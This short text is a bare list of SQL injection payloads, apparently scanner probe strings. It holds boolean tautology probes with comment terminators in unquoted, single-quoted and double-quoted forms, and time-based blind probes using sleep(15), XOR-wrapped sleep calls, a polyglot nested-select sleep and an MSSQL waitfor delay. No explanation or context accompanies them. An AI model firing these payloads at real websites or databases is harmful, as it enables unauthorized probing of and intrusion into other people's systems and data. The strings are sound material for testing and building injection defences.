1

-1 OR 2+992-992-1=0+0+0+1 --

-1 OR 2+393-393-1=0+0+0+1

-1' OR 2+993-993-1=0+0+0+1 --

-1' OR 2+14-14-1=0+0+0+1 or '1w1UTXHU'='

-1" OR 2+656-656-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --